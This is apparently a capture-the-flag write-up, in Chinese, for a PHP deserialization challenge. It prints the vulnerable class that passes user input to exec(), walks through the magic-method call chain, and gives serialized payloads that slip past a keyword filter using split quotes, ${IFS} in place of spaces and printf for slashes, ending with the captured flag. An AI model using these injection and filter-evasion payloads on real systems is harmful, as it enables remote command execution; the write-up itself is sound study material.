一.審題
<?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}
}$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
二.代碼審計
一個實體對象類ease,里面含有幾個方法:_construct(創建實體) ,_destruct(銷毀實體)?,ping, waf(過濾機制), _wakeup(反序列化的魔術方法)
使用POST傳參,并且存在一個反序列化樣式:unserialize,當我們通過POST傳遞ctf參數時,我們通過構造序列化去新增對象,會先后的調用函數:
POST傳入數據
?→?base64解碼
?→?unserialize()
?→?__wakeup()
(調用waf()
過濾$args
) → (對象銷毀)__destruct()
?→ (條件滿足時)ping()
(執行系統命令)
需要過濾的點:base64解碼,過濾命令/(\||&|;| |\/|cat|flag|tac|php|ls)/,要求methon需要是ping
三解題
構建序列化后的句子:
O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:4:"l''s";}}
這邊對于args需要注意的是使用l""s或者l''s進行繞過,我這邊使用HackBar進行post傳參
得到可以的文件flag_1s_here,這邊看并不是一個可以直接訪問的文件可能是個文件夾什么的,ls一下這個文件下的內容
O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:24:"l''s${IFS}f''lag_1s_here";}}
這邊空格的過濾采用:${IFS}
${IFS}
是變量的 “引用形式”,在命令中會被 Shell 自動解析為IFS
的實際值(即默認包含空格)
接下去我們就瀏覽一下這個文件,flag應該就出來了
O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:74:"c''at${IFS}f""lag_1s_here$(printf${IFS}"\57")f''lag_831b69012c67b35f.p''hp";}}
得到flag:cyberpeace{367c9d5a1320dfef1bed663157002210}